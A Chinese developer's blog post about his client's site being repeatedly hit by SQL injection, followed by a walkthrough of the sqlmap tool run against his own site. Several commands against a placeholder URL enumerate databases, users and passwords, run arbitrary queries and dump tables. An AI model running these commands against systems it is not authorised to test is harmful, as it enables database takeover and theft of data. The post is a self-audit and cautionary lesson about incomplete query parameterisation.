我被SQL注入撞了一下腰
网站的注入漏洞,应该说绝大多数做web开发的人都知道的事情。可是没想到从事6,7年开发工作的我,却会在这上栽了跟头,真是郁闷啊。心情很纠结,按照老婆的话,怎么感觉我像失恋了一样。
事情的起因还是在几个月前,一个重要客户的网站被注入了,当时没有什么损失,只是发现超过100长度的varchar或者text类型字段,被注入了一段html代码,到是没什么恶意的破坏内容,只是类似于广告一样的东西。
当时并没有重视,只是把表都检查了一遍,清除了一遍了事。
但是没想到几周后,数据库再次被注入,这一次有所警觉了,详细的检查了一下大多数代码,用hp的一套天价软件对网站进行了扫描,确实发现了一个文件有注入隐患,随后清除代码,做了修复了事。
又过了几周,数据库再一次被注入,这就让我比较光火了,再次用hp软件扫描,没有问题,服务器端用各种安全软件扫描,也没发现问题,真的是百思不得其姐,最终又只能清除代码了事。
从此以后,就开始了拉锯,过几周就被注入,然后我清除;再过几周又被注入,我再清除,如此反反复复。甚至到最后,我不定期就会上去看看,又被注入了没。
最终只是整理出了只感染dbo架构的表中长度超过100的字符类型字段。
这是前情提要。割一下。
直到今天下午,又检查时,无意间发现一个奇怪的表名,dbo.pangolin_test_table,我的所有表名都是驼峰命名,只有个别几个表会采取这种下划线命名,而我又很清除是什么表,去google一搜索,我直接泪奔了。
看到了sqlmap,其官网上那句slogan:automatic sql injection and database takeover tool(自动sql注入和数据库接管工具,我觉得takeover翻译为接管,更加霸气一些。)
这次我打算一鼓作气,彻底弄明白这个问题,上网站,找资料。
sqlmap当前版本为1.0,下载地址为:https://github.com/sqlmapproject/sqlmap
sqlmap是用python开发的,因此要在本机安装python运行环境,下载地址为:http://www.python.org/download/
要注意的是,sqlmap对python的版本是有要求的,只能是2.6或者2.7版本,高了低了都不行,这点一定要注意。
安装好python之后,进入sqlmap的解压目录,进行如下的操作测试,sqlmap的具体使用打算再写另外一篇文章,这里只是简单的验证一下。
1、sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 0,开始利用页面对网站进行注入检验,因为是给自己的网站做测试,所以已经os和db,可以直接指定,来加快校验速度:
sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --dbms "Microsoft SQL Server" --os "Windows" -v 0
出现如下提示:
意思是说,检测到多个注入点,选择一个进行注入检测,q是退出。
2、任意选择一个之后,稍等,即会出现下面的信息:
从这里可以看出,基本的server信息,已经在这里列出了
3、继续执行命令(--dbs参数表示列出服务器上的所有数据库):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --dbs
到这里我已经有点惊恐了,这,太夸张了吧
4、继续执行命令(--users表示列出所有用户):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --users
这个,,好吧,总算还好,只能列出当前web.config字符串中使用的默认登录用户名
5、继续执行命令:(--passwords,列出所有用户密码):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --passwords
执行前,我心颤了几下,要这也可以,我真就郁闷大了,幸亏没获取到,应该是因为我设置了密码强验证有关
6、执行命令(--tables,表示列出所有的表名,dbname,可指定某个具体的数据库):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --tables -D dbname
我觉得,瞬间有尿点了。。
7、执行命令(--columns ,表示列出字段,tablename ,为指定的表名):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --columns -T tablename -D dbname
你妹啊,要管理器还干毛啊,直接用这个不就好了。
8、执行命令:sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 1 --sql-query "select top 20 * from City"
还带查询的,,那更新,岂不,,,,我已经无语了。。
9、执行命令:sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 1 -T tablename -D dbname --dump
还想做的再强大点么,连导出都带了。。
这一串做完,我不禁觉得蛋疼菊紧,这这,,曾经以为注意了,整数字符串的强验证,正则表达式对常规的邮箱、手机号等校验,只是参数化语句,确实因为各种原因,没有贯彻的很彻底,再加上实际上的目标页面,是我忙的一段时间,另外一个同事做的。
但是却没想到,就疏忽在这小小的几个页面上了。
一定要引以为戒啊。。。。
我被SQL注入撞了一下腰的更多相关文章
- 防止sql注入和sqlmap介绍
sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...
- 实验八 Web基础 SQL注入原理
实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...
- Java应用开发中的SQL注入攻击
1. 什么是SQL注入攻击? SQL注入攻击是黑客对数据库进行攻击的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员越来越多.但是由于程序员的水平及经验参差不齐,相当一部分 ...
- 【安全测试】sql注入
SQL注入攻击是黑客对 数据库 进行攻击的常用手段之一,随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员越来越多,但是由于程序员水平及经验页参差不齐,相当大部分程序员在编写代码的时候没有 ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- Web安全相关(五):SQL注入(SQL Injection)
简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...
- 从c#角度看万能密码SQL注入漏洞
以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...
- 浅谈SQL注入风险 - 一个Login拿下Server
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 揭开SQL注入的神秘面纱PPT分享
SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助. 点击这里下载.
随机推荐
- ASP.NET导出EXCEl方法使用COM.EXCEL不使用EXCEl对象
第一种:导出gridVIEW中的数据,用hansTABLE做离线表,将数据库中指定表中的所有数据按GRIDVIEW中绑定的ID导出 只能导出数据不能去操作相应的EXCEl表格,不能对EXCEL中的数据 ...
- JavaScript之模仿块级作用域
简介:在JavaScript中没有块级作用域的概念.这意味这在块语句中定义的变量,实际上在包含函数中而非语句中创建的.证明代码如下: function outputNumbers(count){ fo ...
- Float类型在SQL中计算
- 全球最快的JS模板引擎
废话不多说,先上测试: 亲测请访问:[在线测试地址]单次结果不一定准确,请多测几次. tppl 的编译渲染速度是著名的 jQuery 作者 John Resig 开发的 tmpl 的 43 倍!与第二 ...
- 使用weight属性实现视图的居中显示
有的时候我们开发一个产品的时候需要让其中某个控件的宽度或高度占据其父容器的宽度或高度的一半显示,这个时候由于设备尺寸的限制,做到在每个设备上都具有同样的效果的话,我们就需要用到weightSum属性和 ...
- Couldn't load libPassword from loader:NDK开发中C文件编译成cpu对应的so类库时,找不到类库报错的原因之一
LogCat输出: 03-03 12:42:32.665: E/AndroidRuntime(32432): FATAL EXCEPTION: main03-03 12:42:32.665: E/An ...
- Jsp传递参数的方法
今天老师讲了jsp中四种传递参数的方法,我觉得总结一下,挺好的,以备后用! 1.form表单 2.request.setAttribute();和request.getAttribute(); 3.超 ...
- Aho - Corasick string matching algorithm
Aho - Corasick string matching algorithm 俗称:多模式匹配算法,它是对 Knuth - Morris - pratt algorithm (单模式匹配算法) 形 ...
- MVC定义路由
标准路由配置 routes.IgnoreRoute("{resource}.axd/{*pathInfo}"); routes.MapRoute( name: "Defa ...
- Aliyun EMR 集群重启
1.如果Core节点有Down掉,ActiveNodes少于Core节点数. 处理: a.登陆到Master节点,到目录 /opt/apps/hadoop-2.7.2/sbin b.执行 ./stop ...